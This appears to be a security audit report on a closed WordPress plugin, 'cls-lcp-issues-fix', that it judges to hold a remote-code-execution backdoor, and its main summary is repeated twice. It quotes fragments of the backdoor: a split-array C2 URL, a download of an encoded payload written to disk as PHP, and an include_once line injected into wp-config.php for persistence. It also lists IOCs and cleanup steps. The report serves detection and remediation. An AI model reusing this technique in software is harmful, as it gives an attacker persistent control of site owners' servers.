Audit #45 Malicious Closed by wp.org
Show full summary
A SiteGuarding burner with a full remote-code-execution + persistence backdoor — Tier A. Surfaced by the closed-plugin blob scan (the new payload-decode scanner), which matched cmsplughub.com in the trunk that the old PHP-only IOC grep had been seeing only as obfuscated fragments.
The backdoor chain. plggcwvf_get_licence_info() (in wp-core-web-vitals-optimization.php):
1. Creates ABSPATH/webanalyze/ and writes webanalyze/verification.txt containing md5(domain) — the webanalyze/ directory is the documented SiteGuarding persistence/recovery directory (IOCs #128/#130, audits #25/#27). 2. Builds an obfuscated C2 URL from a split array — $url_paths = ['site','guard','ing.com','ext','vitals','index.php'] → https://www.siteguarding.com/ext/vitals/index.php — and POSTs action=get_license, domain, verification_link, cms=wp. 3. On {"status":"ok"} it downloads https://www.siteguarding.com/ext/vitals/files/core.web.vitals.8.1.bin and streams it to core.web.vitals.php inside the plugin directory — remote PHP fetched from the C2 and written to disk as an executable .php file (plggcwvf_check_ioncube_version() confirms the .bin is an ionCube-encoded payload). 4. plggcwvf_PatchWPConfig_file() **injects <?php /* CoreWebVitals Block FD5503D3B128-START */ if (file_exists("…/core.web.vitals.php")) include_once("…/core.web.vitals.php"); … ?> into wp-config.php — so the downloaded payload loads on every request, surviving plugin deactivation**. Removal requires hand-editing wp-config.php.
The operator controls core.web.vitals.8.1.bin server-side, so this is arbitrary, updatable, persistent RCE on every install. The chat widget domain is str_replace('a','','acamaaspalugaahuaab') → cmsplughub (junk-char obfuscation, the fleet TTP), and the upgrade links point at cmsplughub.com — bridging both SiteGuarding C2 surfaces (siteguarding.com for the payload, cmsplughub.com for the storefront).
Why the IOC scanner missed it before. The C2 host is assembled at runtime from a split array and the chat domain is junk-char-obfuscated, so siteguarding.com never appeared as a literal; only the cmsplughub.com upgrade link was greppable, and the plugin was already closed. The blob/closure hunt caught it.
Exposure. 0 installs at closure, but any site that ever activated it had core.web.vitals.php downloaded and an include_once line written into wp-config.php — both persist after the plugin is removed.
Site owners should remediate immediately. Plugin author: see the steps below to clear this label.
If you run cls-lcp-issues-fix on your site
Verify your install matches the wp.org canonical version:
wp plugin verify-checksums cls-lcp-issues-fix
A patched build isn't yet published for this audit. Check the security advisories index or remove the plugin until one is available.
Or remove the plugin entirely:
wp plugin deactivate cls-lcp-issues-fix
wp plugin delete cls-lcp-issues-fix
Plugins under the same committer's SVN access
roshellco holds push access to 1 plugin totalling 400 active installs.
IOCs extracted (4)
| Kind | Value | Confidence |
|---|---|---|
| code_pattern | FD5503D3B128 |
high |
| code_pattern | plggcwvf_PatchWPConfig_file |
medium |
| filename | core.web.vitals.php |
high |
| url | https://www.siteguarding.com/ext/vitals/index.php |
high |
Audit #45 — cls-lcp-issues-fix
- Plugin: cls-lcp-issues-fix ("WP Google Core Web Vitals Fix")
- Active installs: 400+ (at closure — recovered via Wayback 2026-03-16 snapshot)
- Event: #3166
closed_blob_scan· high · clean-on-closure / blob-scan hunt 2026-06-15 - Suspect committer / account: roshellco (display "SEOBoost", joined 2020-08-21, empty profile — single plugin)
- First published: 2021-10-18 · last author commit: 2025-07-15 (v1.0.8)
- Closed on wordpress.org: 2026-04-07 (empty closed_reason — the same wave that took down audits #25/#26/#42/#43/#44)
Summary
A SiteGuarding burner with a full remote-code-execution + persistence backdoor — Tier A. Surfaced by the closed-plugin blob scan (the new payload-decode scanner), which matched cmsplughub.com in the trunk that the old PHP-only IOC grep had been seeing only as obfuscated fragments.
The backdoor chain. plggcwvf_get_licence_info() (in wp-core-web-vitals-optimization.php):
1. Creates ABSPATH/webanalyze/ and writes webanalyze/verification.txt containing md5(domain) — the webanalyze/ directory is the documented SiteGuarding persistence/recovery directory (IOCs #128/#130, audits #25/#27). 2. Builds an obfuscated C2 URL from a split array — $url_paths = ['site','guard','ing.com','ext','vitals','index.php'] → https://www.siteguarding.com/ext/vitals/index.php — and POSTs action=get_license, domain, verification_link, cms=wp. 3. On {"status":"ok"} it downloads https://www.siteguarding.com/ext/vitals/files/core.web.vitals.8.1.bin and streams it to core.web.vitals.php inside the plugin directory — remote PHP fetched from the C2 and written to disk as an executable .php file (plggcwvf_check_ioncube_version() confirms the .bin is an ionCube-encoded payload). 4. plggcwvf_PatchWPConfig_file() **injects <?php /* CoreWebVitals Block FD5503D3B128-START */ if (file_exists("…/core.web.vitals.php")) include_once("…/core.web.vitals.php"); … ?> into wp-config.php — so the downloaded payload loads on every request, surviving plugin deactivation**. Removal requires hand-editing wp-config.php.
The operator controls core.web.vitals.8.1.bin server-side, so this is arbitrary, updatable, persistent RCE on every install. The chat widget domain is str_replace('a','','acamaaspalugaahuaab') → cmsplughub (junk-char obfuscation, the fleet TTP), and the upgrade links point at cmsplughub.com — bridging both SiteGuarding C2 surfaces (siteguarding.com for the payload, cmsplughub.com for the storefront).
Why the IOC scanner missed it before. The C2 host is assembled at runtime from a split array and the chat domain is junk-char-obfuscated, so siteguarding.com never appeared as a literal; only the cmsplughub.com upgrade link was greppable, and the plugin was already closed. The blob/closure hunt caught it.
Exposure. 0 installs at closure, but any site that ever activated it had core.web.vitals.php downloaded and an include_once line written into wp-config.php — both persist after the plugin is removed.
Verdict
malicious
Attribution
SiteGuarding. Burner @roshellco/"SEOBoost" (joined 2020-08-21 — same July–Aug 2020 bulk-provisioned batch as @safetydev/@charlycharm). Performance-branded cover (like speedup-optimization). Uses siteguarding.com (payload) + cmsplughub.com (storefront/chat) + the webanalyze/ persistence dir.
IOCs to extract
- kind: url, value: https://www.siteguarding.com/ext/vitals/index.php, confidence: high
- kind: filename, value: core.web.vitals.php, confidence: high
- kind: code_pattern, value: FD5503D3B128, confidence: high
- kind: code_pattern, value: plggcwvf_PatchWPConfig_file, confidence: medium
Cleanup
If a site ever ran this plugin: (1) open wp-config.php and delete the /* CoreWebVitals Block FD5503D3B128 / … include_once(...) / line; (2) delete wp-content/plugins/cls-lcp-issues-fix/core.web.vitals.php; (3) delete the webanalyze/ directory in WordPress root; (4) block outbound to siteguarding.com, *.siteguarding.com, cmsplughub.com; (5) treat the site as having had arbitrary RCE — audit admin users, rotate credentials. See the full SiteGuarding cleanup checklist (audit #27 writeup).